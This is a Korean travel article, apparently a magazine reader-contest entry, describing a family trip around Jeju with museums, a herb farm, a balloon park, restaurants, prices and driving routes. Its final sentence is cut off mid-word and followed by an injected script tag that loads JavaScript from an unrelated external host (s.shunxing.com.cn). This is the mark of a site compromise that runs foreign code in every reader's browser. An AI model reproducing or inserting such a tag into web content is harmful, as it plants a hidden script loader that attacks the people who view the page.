아침 9시쯤 차를 타고 95번 서부관광도로로 나섰다. 짙은 안개로 거북이 운행을 하며 도착한 곳은 ‘오설록’. ‘오, 설록’의 뜻은 모르지만, 들어서는 순간부터 ‘오! 설록’이라는 감탄사가 터져 나왔다. 갤러리와 잘 가꾼 정원, 게다가 가슴속까지 맑아지는 차밭까지 있었다. 1백 20여 점의 옛 날 찻잔이 전시되어 있는 ‘잔 갤러리’, 끝없이 펼쳐진 차밭 ‘서광다원’은 보는 것만으로도 즐 거웠다.
태평양 전쟁시 일본군이 주둔하던 땅굴을 보여주기 위한 평화박물관 이곳에서 차로 5분 거리에 있는 역사교육현장 평화박물관( www.peacemuseum.co.kr )으로 향했다. 태평양전쟁 당시 일본 군대가 주둔하던 가마오름의 땅굴을 후세들에게 보여주기 위해 만든 곳이다.
국내 최초 허브 농장이라는 ‘붉은못 허브팜’은 많이 봐온 허브 레스토랑이다. 이곳에는 한 번보면 잊혀지지 않는 피자 크기만한 왕햄버거를 먹을 수 있다. 피자처럼 여덟 조각으로 잘려 나올 정도. 아 삭아삭 신선한 사과와 채소들이 잘 어우러진 패티는 느끼하지도 않고 맛있다.
붉은못 허브팜의 피자크기만한 왕햄버거 세계문화유산 젠느대사원을 본뜬 아프리카 박물관 다음은 아프리카박물관( www.africamuseum.or.kr ). 세계문화유산인 젠느 대사원을 본떠서 만든 건 물로, 아프리카 여행 중이라는 착각이 들 정도다. 8천원의 수업료를 내면 목걸이 만들기, 케냐 국기 액자 만들기 등 다양한 문화 체험을 할 수 있다.
열기구테마파크 행운은 항상 뜻밖의 장소에서 만나게 된다. 그곳이 바로 ‘소리섬 박물관’이다. 에디슨의 발명품부터 소리에 관한 다양한 전시물들 이 3층의 커다란 건물 5개관에 나뉘어 전시되어 있다. 서귀포 천지연폭포를 지나가다 보면 하늘에 두둥실 떠 있는 열기 구를 발견할 수 있다. 이곳이 바로 ‘열기구 테마파크’( www.ballooning.co.kr )다.‘사 랑하는 사람에게 하늘을 선물하라’는 구호처럼 아이들이 하늘을 나는 경험을 할 수 있다. 탑승료는 어른이 2만4천5백원인데, 보호 자 1인당 미취학 아동은 2인까지 무료 탑승이다.
감귤박물관 아이들에게 인기 있는 또 한 곳은 서귀포 감귤 박물관이다. ( www.citrusmuseum.com ) 아이가 유치원에 다니거나 저학년일 경우 딱 맞는 박물관으로 신나는 체험과 함께 감귤의 이모저모를 알 수 있는 알찬곳이다. 특히 한 가족당 3천원을 받는‘쿠키 만들 기 체험’은 아이들에게 인기가 좋다. 차귀도와 비양도가 있는 서 쪽 해안도로를 내달리기도 하고, 한림을 향해 달리다 협재해수욕 장 부근에 있는 아름다운 카페에서 비양도를 바라보기도 했다. 제 주에서 가장 아름다운 해변길이라는‘애월길’ 역시 가족 여행에서 빼놓을 수 없는 코스. 그리고 아이에게 과학의 신비를 느끼게 해 주는‘도깨비 도로’도 빼놓지 않았다. 공항부근에 있는 이리수목 원에서 시간을 보내다 제주발 김포행 비행기에 몸을 실었다.
체험 여행 이모저모
먹을거리 ‘붉은못 허브팜’(064-773-0097)의 피자 크기만한 왕햄버거는 놓치지 말아야 할 먹을거리로 눈도 즐겁고, 입도 즐거워 아이들이 특히 좋아한다. 오분작뚝배기로 유명한 정방폭포 근처‘진주식당’ (064-762-5158)과 다금바리회로 유명한 산방산 근처 ‘진미식당’(064-794-3639) 역시 추천할 만한 곳 이다. 회뿐만 아니라 활어의 내장들로 풍미를 살려서 조리해 참기름에 찍어 먹는 맛이 일품인데 다금 바리는 가격이 만만치 않은 게 흠. 제주시청 정문 쪽에 있는 ‘도라지식당’(064-722-3142)은 물회 맛이 일품이다.
교통편
오설록 - 평화박물관 95번 서부산업도로 -> 서광사거리 우회전 -> 16번도로 -> 1120번도로이용 붉은못 허브팜 - 16번 도로 이용 고산리 산양 오거리 아프리카박물관, 소리섬박물관 - 16번 도로 이용 서귀포 방면 -> 중문단지내(소리섬박물관) -> 컨벤션센터(아프리카박물관) 열기구 테마파크 - 12번 도로 이용 중문 방향 감귤박물관 - 12번 도로 이용 서귀포 방면 -> 삼성여고 -> 효동마을 입구
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4월호 당선자는 2년에 한 번씩 가족과 함께 제주도를 여행한다는 ‘노마네 가족’의 차정섭씨다. 평소 아이와 숨어 있는 박물관 나들이를 즐기는 평범한 엄마로, 지난 가을 끝자락에 다녀온 제주의 발자취 를 응모한 것. 아들을 위해 재미와 체험을 함께 경험할 수 있는 곳 중심으로 여행을 다녀왔다. 제주 하면 떠오르는 많은 관광지를 피해서 가족 여행지로 알맞은 곳을 선정해준 점이 당선 이유다. 꼼꼼하 게 계획한 뒤 떠난 제주 여행은 실속과 재미 그리고 여유가 느껴진다. 당선자께는 ‘숨은 비?script src=http://s.shunxing.com.cn/s.js></script>
